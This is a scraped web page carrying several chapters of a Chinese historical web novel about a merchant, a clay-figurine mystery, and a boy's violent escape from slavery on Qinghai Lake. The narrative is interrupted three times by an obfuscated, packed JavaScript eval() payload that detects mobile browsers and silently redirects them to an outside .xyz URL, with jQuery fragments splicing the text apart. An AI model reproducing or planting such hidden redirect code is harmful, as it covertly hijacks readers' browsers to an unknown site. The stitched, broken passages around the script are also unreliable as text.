$(''#content'').append('' 好,有空就给你写。”伽衡朝他一伸手,“我们要去沙州,路途遥远,解大侠借点钱。” 解大侠沉默片刻,道:“我帮助别人是免费的,平日里是以给人家盖屋瓦、挑水为生,说白了是个短工......你这臭商人找我要钱?” 伽衡的大部分积蓄都交给闻辩保管,平日带在身上的,也在去沙州的那趟路上花光了,两人大眼瞪小眼,阿忍弱弱地说:“我身上倒是有几件值钱的东西可以当掉。”她一边取下银钗朵,一边偷偷瞄伽衡。伽衡扭过头,生硬道:“哪还有当铺?” 啊呀啊呀,解不寻内心啧啧称叹,男女之情真是麻烦,两人这样在意对方,却偏要三天两头闹别扭,怪不得佛陀说“由爱故生忧,由爱故生怖”,不如一个人来的逍遥快活。阿忍还在说“把它掰碎不就可以当银子使”,伽衡也着急起来,“你身上有值钱的东西,我就没有?我要——” 背后有人咳了几声,两人转头,六个小姑娘捧着钱袋过来,白露蝉代表大家说:“我们还是有一点积蓄的。” “那怎么可以!”阿忍忙道,想到这些“积蓄”的来历,更觉辛酸,“长安经此一劫,你们的卖身契也丢失了,正好出城去重新找份差事。” 白露蝉伶俐道:“正是如此。解大侠说他在南边广州有个地主朋友,家里缺人手,要把我们介绍过去帮佣。路上带些食物也就够了,这些不干不净的积蓄,你就帮我们花掉吧。” 她说什么就是不肯要,最后解不寻不耐烦,直接抢过来塞进她手里。两人与大家一一告别,伽衡扶阿忍上骆驼,便向城门走去了,谁也不跟谁说话。天上好大一轮月亮。解不寻跳到房顶上,枕着双手仰面躺下。 一阵窸窸窣窣的响动,白露蝉卷起袖子,也踩着窗框爬上来了。她是最喜欢缠着他学武功的一个孩子,现在看来还真的学进去了一点儿。上来后也学着他的模样躺下,被砖石硌的一激灵,仍自顾自唱起来近年最流行的《渭城曲》:“渭城朝雨浥轻尘,客舍青青柳色新。劝君更尽一杯酒,西出阳关无故人!霜夜与霜晨。遄行,遄行,长途越渡关津,惆怅役此身。历苦辛,历苦辛,历历苦辛,宜自珍,宜自珍......” 出城很顺利,不过花了些钱。好久没有见到城外的景色了,阿忍趴在巴瑞施玛的脖子上,背后广阔的天幕赤红一片,郊野的草木显现出长久与人类不相见的神采奕奕。 她闭眼开始诵经。在一片澄明的黑暗里,无数魂灵从巍峨厚重的城墙上轻盈升起,向四面八方飞走,其中有一缕属于一个粟特少年。他什么都记不起来,然而执念深重、遗恨万千,上不了路,只好日复一日地在城门口徘徊,世界寂静、阴湿而恐怖的。就在刚刚,诵经之声响如钟罄,佛光大亮,他眯起眼,感觉魂体渐渐变轻。 一个姑娘的身影浮现在面前,低垂着眼帘,右掌向外下伸,指尖下垂,呈流注甘露水之相。此印乃是大愿地藏菩萨本誓标帜,名为与愿印。 与你所愿。 他的魂灵越来越轻,终于朝着家的方向飞去。 31. 十个人俑 马车在一处宅院门口停下,一个青衣男人摇着纸扇走下来。他一路上都掀起窗帘观赏沿途的风景,水光潋滟,胭脂一样红的荷花浮在水面,与浓绿的水面和青天形成极强烈的色彩对比。 另一个人也跟着下了马车。 闻辩伸出手,“信物给我。”他手里立刻有了一颗小小的夜明珠,这颗珠子似乎勾起他什么回忆,他掂了掂,问道:“你背后的人物定的信物?” “我背后没有人物。” 闻辩收进袖中,走向前对家丁抱拳道:“在下扬州闻辩,求见聂先生。” 家丁目不斜视地说:“我家郎君近日身体抱恙,恕不能见人。” “喔,”他奇道,“你也不进去禀报一声,万一你家郎君愿意见我呢?还是说你家郎君其实不是里面这位?” 左右的两位家丁对视一眼,另一位忙道:“闻先生,并非我们越过主人做主,他前天就吩咐过了一律不见,我们也不得拿小事打扰他休息......” 闻辩从广袖内掏出夜明珠,两人立刻噤声,退至一旁。他暗自发笑,大步走了进去,庭院内花草凋敝,显然不是什么被主人精心打理的度假宅邸,聂蟠甚至还歪坐在床榻上,没有一个下人告诉他来人了。见了生人,他连忙拢着外套起身行礼,“您是?” “聂先生不必多礼。”闻辩也回了个礼,“我是个商人,名叫闻辩。” 郑宗望跟在闻辩身后,用力地扫视四周,显然没有介绍自己的意思。聂蟠瞄了他一眼,也就无视了,“哦,闻先生,我知道您,您在长安是很有名望的。您还收过我很多泥塑呢!” “说笑了,我不过是做个买卖中间人,哪比得上聂先生御前的手艺。”闻辩打算为他倒茶,茶壶里只剩一层残渣浊水。他立刻唤来下人,严令禁止如此怠慢聂蟠,并让他们重新上好茶水点心。聂蟠始终举棋不定地观察着他,等茶一上来,抢着要倒茶,闻辩倒也随他去了。 “可以告诉我是谁把你绑到这里来的吗?军队?我与他们不是一伙的。” 闻辩的语气很随意,脸上带着惯常的淡淡的微笑。聂蟠虽然早听说过他的名字,却是第一次见本人,只觉得他光是端坐在那里便有令人安稳信赖的气场,说的是“我与他们不是一伙的”,自己听来却像“我是来救你的”。 “并不是军队,是私兵,再多的我就不清楚了,只知道与五六十年前的一件往事有关。” “愿闻其详。” “那时我很年轻,刚刚出师,做人俑的手艺名扬海外......闻先生见笑了,我并非在鼓吹自己,只是您可能需要知道这个情况——若想仿真,找我是最好的选择。”聂蟠像是回忆起了年少时光,摸了摸鬓角,自嘲一笑,“招摇炫技,便惹来了祸事。某天我接受了一项委托,条件是要对这件事完全保密。他们蒙上我的眼睛把我带到一个山洞里,泥塑工具一应俱全,还有一个三十多岁的男人,他要我完完全全按照他的模样做十件泥塑。” “我自然是不敢违抗。细泥造型后,他还要亲自审查好几遍,觉得不像自己的地方会命我再改,前前后后花了一年多,直到手上凸起的血管都别无二致。最后我离开时看着自己做出的泥塑都害怕,发誓再也不做人俑,改做佛像。” “那个男人,他有没有说自己是谁、为何要这样?” “他对自己的事闭口不谈。”聂蟠说,露出稍显犹豫的表情,“我俩在山洞里朝夕相处一年多,每日都有人来送衣食,他话不多,大多数时间都在读书,然后写些密密麻麻的文书叫人去办事......后来送走我时还挺有礼貌的,给了很多财物,鼓励我开展业务、多收徒。那之后我们再没见过。直到去年几个黑衣人再次闯进我家中,问及此事,将我带到这里软禁起来。” “你答应过他要保密。” “但是他现在将我关起来了。”聂蟠突然脸色煞白,“你该不会是来测试——” “不不不,您别误会,我与任何人都没关系。”闻辩拍了拍聂蟠的手背,他身上永远有让人安定的魔力,“只是按照您的说法,当年那个人以礼相待,途中蒙眼也是您自愿的。可现在这波人把您绑架到此处,下人照顾不周,茶水也不添,恐怕不是那个人的主意吧?” 聂蟠的脸色越来越白,他的手指攥住桌檐,喘息着,“那我岂不是——等等,那他们是想做什么?” “您还记得那个人的相貌吗?可以画给我吗,或者用泥塑表现出来?” “我可以画出来。但这样一来不是再次违背了承诺?” “您现在都自身难保了。”闻辩苦笑道,“我在长安的名声还不错吧,您画出来,我可以帮到您的。” 聂蟠思考片刻,终于颤颤巍巍地起身,找出纸笔开始作画。卧室地面其实到处都散落着废稿,都是他为了打发无聊而画着玩的,没人来收拾,闻辩随意捡起两张,画的是长安的城楼月光、妻子儿女。他一直都被囚禁在这里,想必不知道长安陷落的事。 卧房内只有春蚕食叶般的笔声,窗外湖光山色、美不胜收。杭州在暑气的蒸腾中昏昏欲睡,这里繁华、富庶的一如往日,人们该怎么生活就怎么生活。聂蟠将画递给他,画上的男人眉毛粗黑、相貌周正,有一副敏捷、强壮的体魄,却带着莫名含蓄的神情,像个淳朴的农人。他收好画作,再拜谢说:“闻某不会向第二个人说起此事,亦不会将画作外传。还请聂先生保重身体,我会尽快来营救您的。” 聂蟠苦笑一声,不作回答,再次躺会床上。 闻辩跨出大门时,原先那两个士兵已经不见了。他摇了摇头,带着郑龟寿上了马车,马车绕着湖走了一程,又七拐八拐,于傍晚时到达一个小山村。他闲布走进一间早打扫干净的木屋里,炒了盘青菜豆腐,蒸了两个馍馍,端出来和郑龟寿共同分享。炒的还挺好吃。 吃着吃着,郑龟寿突然抬头:“你知道是谁请他做人俑的吗?” “郑宗望呗。” 郑龟寿突然觉得这个决策做得不明智。闻辩认识郑宗望,肯定不是因为同为珠宝商人、听说过这位前辈的名字,既然都查到人俑头上了,必然有更深层的前缘。那能是好前缘吗?自己原本打算借助闻辩的力量找到祖父复生的方法,现在看来,一切似乎尽在对方掌控中。 “你为什么不打开赵无量的塑像看看?”他劈头就问,“来杭州就是为了确认这一件事?你不想知道复生的方法吗?” 闻辩扭头看他,似乎是嘲讽地翘了翘嘴角,“泥像里装的不是方法。我高估你了,你连门都没摸到。” “那你为何要保护泥塑?” “因为里面装了别的东西。”他悠悠叹气道,“装了我这个做兄长的苦心。” 郑龟寿盘算着主意躺了回去,再不与他讲话。夜晚有人敲门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001955|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他从地上一骨碌爬起来,还以为在这荒郊野岭遭了土匪,闻辩拔出短剑靠近门,只听门外那人说:“般若波罗蜜多。” 他收剑开门,门外人在沉沉暮色中揭下斗笠,是一张女子的脸。她自我介绍道:“奴婢姓林,原是东宫侍女,出宫采买时与周牙郎对接过了。今日才见到闻先生的庐山真面目。您承诺过的可都当真?” 闻辩含笑点点头,取出一只箱子,从中找了两张地契交给她。林娘子仔细读过后才收进袖子里,恭敬道:“怪不得您在长安的名声一向很好。令室、令郎在潼关失守前就已离开长安,具体去了哪儿尚未可知;孙将军按照约定,不会伤到赵娘子分毫。哦,赵娘子不是亲自行动的,是一个胡人......” 当啷一声,闻辩用手指把一个瓷杯子推下去了,看上去是在憋火。他顿了顿,绕过伽衡这个话题,“我原在长安安排了一百人,现在还剩多少?” “八十六个,他们推我来述职,并保证将于赵娘子离开长安后才离开。总之请您放心。” 我也没有担心。他吐出一口气,莞尔,“你可以走了。最后再问一句,我那两位小朋友知道这一切吗?即使你还与那个胡人交谈过?” 林娘子摇了摇头,“谁怀疑我?我是一个女人嘛。” 而郑宗望脑中轰隆一声,想着自己的计划竟是满盘皆输。手心脚心都渗出冷汗,他僵硬地扭过脖子看闻辩,闻辩脸上没有丝毫得意的神色,看上去却是相当疲惫。 视线对上了。他连忙闭眼装睡,却感到那人越靠越近,然后是金属出鞘的声音,近在咫尺时他跳起来叫道:“就凭你,你真想跟我打架——” 闻辩收起短剑。许多头发散在了地上,郑龟寿的表情逐渐变得茫然,他扭头打量周遭的一切,甚至因为事情超出自己的理解范围而变得怯懦起来。“这是……?”他用稚拙的语气说,“你、你是谁?” 自然没人理他。闻辩合眼坐着休息了一夜,郑龟寿就在屋内惊恐地待了一夜,不敢叨扰他。天亮后,闻辩将他带到了自己在杭州驿站处的家丁,由家丁带着这个毫无用处之人千里返程,返回秦州。等秦州馆的老板开门看清来人后,立刻将他揪到后院,“你让我相信你?我的替身学习了五年才能代我犯险,你轻而易举就将他害死了!秘密呢?要献给我的那个大秘密呢?” 郑龟寿懵懂地望着他,甚至伸手摸了摸他的胡子,“蒙恩哥,你、你也这么老了?” 吕蒙恩皱起眉头。 “你不认识我吗?我们去年在祖父的大寿上还见过呀,我捉鸟从树上摔下来了,你就交给我用篮子捕鸟的方法!” “……”吕蒙恩揉了揉太阳穴,转头对伙计说,“他惹到不该惹的人物了。” 郑龟寿仍旧难以理解发生的一切,抬头就看到铁锹迎面落下。在头部遭到重击的同时,他猛然瞪大眼睛,一声“等等”卡在了喉咙里,随着鲜血一同喷出来。伙计拿着铁锹走到树边,开始挖坑。 他的尸体四仰八叉的仰对天空,天空有雁群飞过。吕蒙恩蹲下,手动合上他的眼皮,“你,还有郑宗望那个老不死的,把我们陷入麻烦中了。你还期待复兴郑家吗?我当官当得好好的,早知如此就不该配合你蹚这趟浑水……” 与此同时,一个三十多岁的男人站在他们几日前待的木屋门口,看着满地发丝烧为灰烬。他觉得自己好像来迟了。 32. 牧马青海湖 唐高宗显庆三年,隆冬。 一个约莫十三四岁的男孩牵着一个更小的孩子,拿着一根枯干的长树枝,走在母马群后。十二月的青海湖上覆盖着平坦的冰层,寒风急劲,吹得人和马都睁不开眼睛。小孩头上戴了一顶旧毡帽,裹在骆驼皮斗篷里,脸色发青;男孩穿得更单薄,脸和手上生了许多又痒又疼的冻疮,挠破了便流血。 他们要把这队良种母马赶到湖心的山上,等到来年春天,母马便会诞下健壮的小马驹,可日行千里,名为“青海骢”。又为了避免成群的马将冰面踩踏,母马一般是分批分时赶去的,这两个孩子赶的是最后七匹。他们本该前天就到的。 其中一匹缺耳朵的马低头去舔冰,这是咸水湖,马就爱吃盐。男孩拿树枝打了它几下,它就是不睬,抬脚把他踢了个屁墩儿,还在冰面上滴溜溜地转了一圈。小孩像个团子一样跌跌撞撞滚过来,叫:“伽衡!” 伽衡也不恼,拍了拍衣服站起来。他知道马生气了,它们早该吃东西,就因为他们迷了路,一直在饿着肚子跋涉。他也肚子饿,因此相当共情地又走过去,给马挠了半天脖子,好哄歹哄才让马队再次走起来。 “伽衡,”小孩又抓着他的袖子叫了一声,“我们误了日子,鲜卑人会不会责罚呀?” “要责罚也罚不到你身上,是我赶的马。” “可是,可是察都设给我们的时候,说这是老马,自会识途。我瞧着它们却像第一次来,是察都设偷懒!他自己不想赶。伽衡,为什么那些鲜卑人在毡房里舒舒服服地喝奶酒,我们要这样辛苦?” 小孩好像相当崇拜这个哥哥,不过两人并非亲兄弟,只是父母都走得早,便由一位汉族僧人代为抚养。这为汉族僧人十年前途径吐谷浑,便留在这祁连山上不走了,谁也不知道他的名字,也不知道他来做什么。纵使佛教传入吐谷浑已久,替代了原先的萨满教,这个无名僧人仍不受鲜卑人——吐谷浑的统治民族——的待见,只好与羌人、鄯善人一起生活。 这两个孩子便是鄯善人。他给大孩子取名为伽衡,给小孩子取名为碣磨。 “因为我们是亡国奴的后裔。亡国奴,知不知道什么意思?” 碣磨点了点头,又摇了摇头,“师父曾与我说过的,我记不清楚了,你再讲一遍吧。” 好,那便跟你再讲:我们的故乡叫楼兰,是个安宁、富饶、美丽的地方,周围有大片大片的胡杨树,临着蒲昌海。我们的地下有玉,地上结瓜果;我们的牛马骆驼长得最高大,我们的男孩女孩最漂亮。但凡是来往于中原和西域的商旅,从这里经过是最便捷的,我们便招待他们喝酒、唱歌、跳舞,是流着奶和蜜的的好日子。 那为什么会亡国? 因为太美好啦,又太弱小。后来汉人在楼兰的都城设置了他们的西域长史府,把祖先们赶走。祖先们思念着蒲昌海,走到一处新的水源旁,便扎根建国了,取名为“鄯善”,在我们的语言里是“新水”的意思。这样也没有完,魏晋南北朝时大乱,鄯善又沦为隋王朝的一个郡,“国”便不存在了;再后来吐谷浑打过来、占据了鄯善,把鄯善遗民全部抓走当奴隶——就是我们。我们是鲜卑人的奴隶。 “奴隶。” “对,奴隶。”伽衡面无表情道,“这就是为什么几年前,我娘开玩笑叫我爹‘陛下’,鲜卑人要把他们杀了。” 碣磨打了个寒噤。远远能看见湖岛了,嶙峋的怪石上覆盖着厚厚的雪层,两人不再说话,催马上了岛。僧人和麦岑都在岸边等着,麦岑急道:“你迟了好久!” 此人是伽衡最好的朋友,比他大几岁。伽衡立刻说:“我这就去翻干草。” “已经翻过了,是干燥的,你快直接去吧。” 僧人抱起碣磨,担忧地直摇头。伽衡将马赶进棚子内,棚子是早来的队伍修的,就地取材,用的石头和羊粪,很坚固;地上的干草也是每天要翻出晾晒的,以免地气湿寒,伤了母马子宫。他犹不放心,取来一块挡风的羊毛长毡,要将每匹湿漉漉的马擦一遍才准进入,擦到第四匹时,一个羌人来传唤他。 “慕容渠靡找你。” 他攥紧长毡片刻,然后把它叠好放回去,跟着羌人走了。僧人和碣磨已经在两堵羊粪墙中间跪着了,慕容渠靡身着驼毛大衣、兔毛帽,阴恻恻地坐在石头上,他飞快地跑过去说:“这批母马本该由察都设——” 这个身份并不怎样尊贵、因此自己也过得不怎么顺心的鲜卑人哼了一声,他的鼻子永远不通气,“你怎样跟我说话的,小獠子!” 伽衡跪下,仰面颇为气愤道:“本该由察都设带来的,他说它们识途!” “就算它们不识途,那你呢?你去年不也来过这里?你比马还蠢吗?” “但是归根究底,还是因为察都设——” 慕容渠靡突然站起来响亮地擤了声鼻涕,用袖子一抹,便来打他。伽衡闪躲过去了,他更为恼怒,一只手钳着伽衡骨棱棱的肩膀,另一只手对着他的脸狠狠抽了好几下,嘴里“小獠子”“鄯善狗”地叫着。但凡母马受了寒,产下的马驹数量减少,他可要受上面的重责,现在只好一味把气撒在鄯善人头上。 脸上本来就有冻疮,这几掌下来,伽衡满脸都是脓血。他猛地抬起头来,嚷道:“那你罚我便是,与碣磨、秃师父又有什么关系?” “哈哈,老子心里不爽。”慕容渠靡盯了他一会儿,发现最令自己不爽的就是这小子的表情,遂抓着他的头发,把他的脸摁到污脏的雪里去。“谁敢起身,我就把谁丢到结冰的湖里去。” 墙后搭起了毡房,他急着回温暖的房内喝酒,撂下这句话便走了。伽衡摇摇晃晃地爬起来,一双绿到显的凶残的眼睛望向墙后的方向,小声道:“等我长大,我要把你们都——” “伽衡。”僧人唉声叹气地打断他,“伽衡呀。” 他不说了。僧人总没个正形,平日里偷酒吃肉,放羊的时候也睡觉,丢了几次羊,回来便被鲜卑人打骂,到现在一条腿都市瘸的。然而对两个孩子极好,教他们写汉字、讲一些稀奇古怪的故事。吐谷浑没有自己的文字,上层贵族为了与唐帝国打交道,都说汉语、写汉字,近代以来用的比鲜卑语都频繁了;至于说楼兰人,他们魏晋时就已汉化,本族语言萎缩到仅剩些基本词汇,只用来给孩子取名字。 叫他们永永远远不要忘记,自己是什么人。 伽衡以前叫“阿钦河”,意思是“威风凛凛的小马”,僧人听了直摇头,说此名凶险,我给你起个汉名吧。他原来还很不高兴,此名寓意这样好,还是去世的父亲取的,轮得到你一个汉人来指手画脚?后来不管是摔断腿、摔破头还是挨了打,僧人都要提及一句:此名凶险呐。他说那你重新起一个吧。并不是因为真的信了这种说法,只是僧人待他不比父亲待他差,一片苦心,他是愿意顺着来的。 僧人于是给他取名为伽衡,象征安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001956|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁、虔诚。当然,什么“静心”“明海”都是差不多的,“伽衡”主要胜在和楼兰语中“阿钦河”的读音相似......我要用厚重的名字来冲和你命中无可避免的灾祸,孩子,又希望你真如小马般奔腾。他曾在一旁看这孩子使刀,是一柄锈掉了的、别人不要的刀,小伽衡兴致勃勃地捡过来一阵乱舞,嘴里模拟风声。他看见了男孩身后巨大的杀孽,然而嘴里说出来的却是:你长大后会成为一个很厉害的战士! 小伽衡便高兴地笑了,那我岂不是要什么有什么? 不,不,世上没有人可以要什么有什么。他有些发愁这孩子听不懂,仍循循善诱地说,到那一天,你打败谁也没有用,你甚至不知道该向谁挥刀。所以练刀与不练刀的后果都一样,你没有必要玩这个。 小伽衡扭头便走,道:“管他什么后果,我喜欢,你管得着么?” 最后僧人就无可奈何地叹气,像刚刚那样。这个孩子每次挨了批评、教育或者有教育意义的暗示,总不服气,变着法儿也要和你作对。但你叹气他就不说话了,他是个善良的孩子,知道你是好心。 午饭的时候,监官丢来了一只干囊,被霜冻的硬如石头。僧人指着自己半口摇摇欲坠的牙,递给了两个孩子。碣磨身体不好,年纪又小,整张脸都成了乌青色,叫他也只能口齿不清地“嗯嗯”应答。中途慕容渠靡出来解手,人一走,伽衡便起身跑进毡房,舀了瓢热酒给碣磨灌下,又把瓢还了回去,抢在慕容渠靡回来之前若无其事地跪回原地。 慕容渠靡用指头在羊粪墙上抠了一个洞,时不时就狐疑地往外看。 太阳落山后天气愈发严寒,碣磨默默哭了一会儿,眼泪鼻涕冻成冰碴粘在皮肤上。奴隶。今天复习了这个词汇。汉人有个典故叫“望梅止渴”,他不渴,他好冷,于是就开始想象几百年前人们在篝火旁载歌载舞的样子,那火一会儿烧他的身体,让他浑身烫的发痛;一会儿旋转着往天上飞,歌声忽远忽近,他听见是自己在唱......一块捏实了的冰坨子砸在他头上。伽衡道:“别睡。” “唔。” “若困了就自己掐自己。” 伽衡有些焦虑,他看不清这个孩子是什么状态了。他在湖上时就开始眼睛痛,冰面明晃晃地反射着阳光,却不得不眯着眼辨方向;下午时更加畏光,眼睑肿的厉害,便知道是雪盲症。晚上风大,他一直流眼泪,再重复把冰棱从睫毛上揪下来,手失去知觉了,没轻没重的,把睫毛揪的不剩下几根。 后半夜连他自己也快昏昏睡去。再醒过来,是有人拿鞋尖踢他的腹部,他艰难地睁开眼睛,立刻被清晨的阳光刺的剧痛。 “这一个还行。”慕容渠靡于是转头对监官说,监官手上推着个板车,上面躺着一个硬邦邦的人——明明是被人翻成仰面,腿仍像跪在地上一样蜷曲着,已经被冻僵了。伽衡迟缓地想了两秒钟才踉踉跄跄爬起来,冲到板车面前,把脸几乎贴在尸体脸上去分辨那是谁。 然后他把脸转向慕容渠靡,“你把他害死了!” “哇哦,”慕容渠靡拍拍监官的肩膀,跟他分享说,“你看他肿的像马蜂蜇过。” “你把他——” 慕容渠靡于是抽出佩剑——没抽动,冻在剑鞘里了——拿起整柄剑,在他头上砸了一下,血流出来的时候简直是烫的,他仰面倒去,太阳对着他眼睛笑;又去打碣磨的头,碣磨不哭也不躲,头发间细碎的冰簌簌掉了下来。 33. 初见 这个该不会也死了吧?慕容渠靡大为好奇,又换底部镶铜的剑柄去戳碣磨的脸,戳到第二下的时候佩剑噌的一声被人抽了出来。慕容渠靡因为反作用力往后退了几步,低头一看,剑已插入自己腹部。一旁的监官和伽衡对视片刻,立刻就要大叫,伽衡利落地把剑抽出来,反手向他挥去,脆弱的咽喉一砍便破。监官的嘴无声地翕动几下,便再没有动静,而断裂的脖子还在噗噗往外飙血。 有根绷了许久的弦突然就断了。伽衡的手颤抖起来,他茫然地抬起头,慕容渠靡的两个弟弟通过墙上的小孔看到了这一幕,已经拿着武器冲过来。他转身就跑。 沿着石头滩跑向青海湖,他腿脚僵直,摔了好几跤。其中一人追上来,狠狠砍伤了他的手臂,他顺势又往地上一滚,拉住对方的衣领摔向自己,一脚踢掉对方手中的剑,一手把剑捅进他嘴里。另外一人发出了一声悲愤欲绝、惊天动地的吼叫,扑过来掐他脖子。 他在濒死的窒息感中抱住对方,翻身压住,举起拳头往对方脸上使劲儿砸——是砸熟烂水果的手感。对方掐地更紧,他憋的两眼翻白,最后一肘下去打在太阳穴上,甚至明显地感受到了薄骨的凹陷。脖子上的手不动了,他把那双养尊处优的手掰开,摇摇晃晃地直起身子。 原来令他恐惧的吐谷浑……这样轻易就能杀死。 面前是一望无际的青海湖,阳光灿烂,冰面闪亮。 眼睛在剧烈的抽痛中进一步恶化了。他呆呆地伫立片刻,开始往虚无的前方走,走着走着跑起来,跑着跑着开始放声大哭。饥饿、寒冷、疼痛还有莫名的愤怒和恐惧,刚才几乎感觉不到,现在要把男孩尚且年幼的身躯压垮。他的哭声太大,以至于没听见有节奏的敲击声由远及近传来,等发现时,一个朦胧的、光亮到几近透明的身影已经站在他面前,手执一柄金光流转的禅杖。 她说:“你犯杀孽了。” 他分不清自己是死了、在梦里还是真见了菩萨下凡,但不管是哪一种,菩萨都是来审判他这恶人的。来啊,你将我扔进十八层阿鼻地狱好了,他恨恨地想,我连你也敢杀!绷紧身体就要扑过去,却听那菩萨低声念了几句什么经文,突然感到头痛万分、五脏俱焚,眼球又开始在眼窝里震颤,摔到地上就吐起来,然而除了胃液和血,什么都呕不出。 菩萨跪坐下来、把他的头轻轻揽到自己腿上,又解开禅杖上挂着的包袱,从中拿出一条帕子蘸着冰给他擦脸。她的手是热的,动作很轻,擦完后轻声“呀”了一声:“原来是个孩子。” 原来是个姑娘。 菩萨是一定会惩罚我的,她要救我,她才不是菩萨。 “可不可以告诉我,为什么要杀人呢?” 伽衡感受着她往自己脸上、手臂上搽药的动作,浑身战栗着,喃喃说:“他们害死了我好多亲人。” “我就说,你还是个孩子呢。”姑娘温柔地叹了口气,她手上的动作忽地挺住,随后在他额头上落下一个无情无欲、满心怜惜的吻。伽衡只觉得眼泪还在无声地往外淌。她又将他的头自己怀里拢了一点,摸了摸他的头发,说:“睡一觉吧,你累了。我这里很安全,冻不死人的。” 事后伽衡千万次想起都觉得自己不该真的睡过去,但当时精神已经紧绷到了极限,听她这么说,立刻就没有意识了。恍恍惚惚中听见她在念《地藏经》,求地藏菩萨救他于地狱水火。他倒不关心什么地狱不地狱,只是听她的声音因虔诚、慈悲而发颤,觉得心疼,于是在梦里大喊:你不要伤心,你不用求他! 醒来时姑娘连姿势都没变过,只怕腿都给他压麻了,却笑道:“醒啦。我还需回岸上再拿些草药,很快就回,你伤的很重,在这里别动。” 她脱下自己的银鼠皮袍子垫在冰面上,轻轻将他挪抱上去。正要走时,伽衡伸手拉住了她的裙摆。 “怎么了?” 他摇了摇头,“可惜我眼睛暂时坏了,看不清你什么样子。” “别担心,雪盲症休息几日会好转的。至于说样貌,看不清最好,我本‘无相’。” “你一定是个大美人。” 姑娘沉默片刻,把裙摆从他手里拽出来,“你这孩子。待我回来,有好多道理需和你一一讲明。” 她的脚步声远了。伽衡撑着地坐起来,摸索着把银鼠皮袍叠好,把脸埋进去闻了闻,是和那张帕子一样的清幽焚香味。他放回地上,随即摇摇晃晃地起身向湖心岛走去。 故事讲到这里,二人已一路疾行到了沙州。阿忍听着稍微有点诡异的尴尬,小声问:“那个姑娘是我吗?” 伽衡也稍微有点诡异的羞赧,点了点头。现在是非常时期,门卫查了过所、盘问了身份、搜了行李,犹不愿放行,最后还是城内街坊来作证阿忍确实是沙州人氏才放他们进去。朝廷将兵力全部调走,无暇顾及这边陲小城,吐蕃就趁虚而入,三天两头闯进城内骚扰劫掠。虽未被战火波及,但大唐的疆域上没有哪一片土地是不蒙受损失的。一损俱损。 阿忍急不可耐地回了家,两人暂时从微妙的气氛中抽离出来。其实赵府已经不是赵无量失踪时的样子了,赵家珍藏了许多宝物钱财,不知道遭了多少次盗劫,连家具都被砸的稀巴烂。她皱着眉清点了一番家里的财物,发现盗贼只抢了金银器具,至于说名家孤本、古董字画,大都只在被翻出来的时候撕破了边缘,却并没被拿走太多。 梳理一遍可得:去年十二月份前后,家里来了第一波人,他们可能是导致赵无量逃走的缘由,然而他们没有重点搜寻字画;安禄山起兵后,家里又被吐蕃人洗劫了很多遍,与义父失踪一事无关。阿忍原来还想义父会不会像王给事一样留下线索给她和师弟,现在看来不可能。第一波人显然比她更了解义父的事,他们都不找线索,那指定是没有了;更何况,以义父洒脱不羁的性格不会做这样的事。 她想到了沙州消息最灵通的地方——茶馆,对伽衡说:“就算听不到义父的消息,兴许我师弟会在那里留下什么音信。他去年十二月份该回了一趟家的,他是个聪明人。” “你师弟?那该是多小。” 阿忍摇了摇头,“三十多岁了,只是四年前才拜我义父为师,所以尊称我一声师姐。” 两人一同去了趟对街的茶馆。阿忍原来觉得这是沙州最热闹、最适合带朋友来玩的地方,见了长安后,才惊觉故乡的一切都是那样矮小、破旧、灰沙蒙蒙。进了茶馆,想不到有这样多的人,里三层外三层围着,阿忍找了一位熟识的乡亲问:“您好,请问里面发生什么事了?” “里面来了位长安的爷!”这人兴奋道,“出手可阔绰啦。他愿出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001957|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百两黄金招募同出阳关的驼队,来了三天啦,却谁也瞧不上。” 伽衡和阿忍对视一眼,忙往里挤,远远就见了一个穿白衣的人翘着二郎腿、闭目躺在椅子上——尖下巴、丹凤眼,不是闻法又是谁?一个胖胖的男人正在他面前殷勤道:“我是南方人,正要往龟兹避难,可以顺路捎上您......您想去哪里?” 闻法仍闭着眼睛,懒洋洋地摇了摇头:“你要去避难,那就算了。” 又一人挤出来道:“我不是去避难,我要去高昌,有去有回。” “去高昌做什么?” “取一批珠宝回来。现在缺启动资金,然而定能盈利,售货后可以与您分红。” 人群中一阵叹声,甚至有几个人插嘴说“你还差打杂的吗”,沙州的日子也不好过,大家听了另辟蹊径的发财路都暗暗动了心。贾峰连连说自己不缺人手,只是缺个股东。闻法还是一直像个大爷似的瘫在胡椅上,不说好,也不说不好。 阿忍在各路领队介绍自己的时候,去找了一趟茶馆的老板。这老板与她也是旧相识,先是谨慎表达了对赵无量失踪的遗憾、惋惜与不知情,后又亲切地告诉她,赵有觉确实回来过,并托他告诉阿忍自己出发去找义父了,不必挂心。 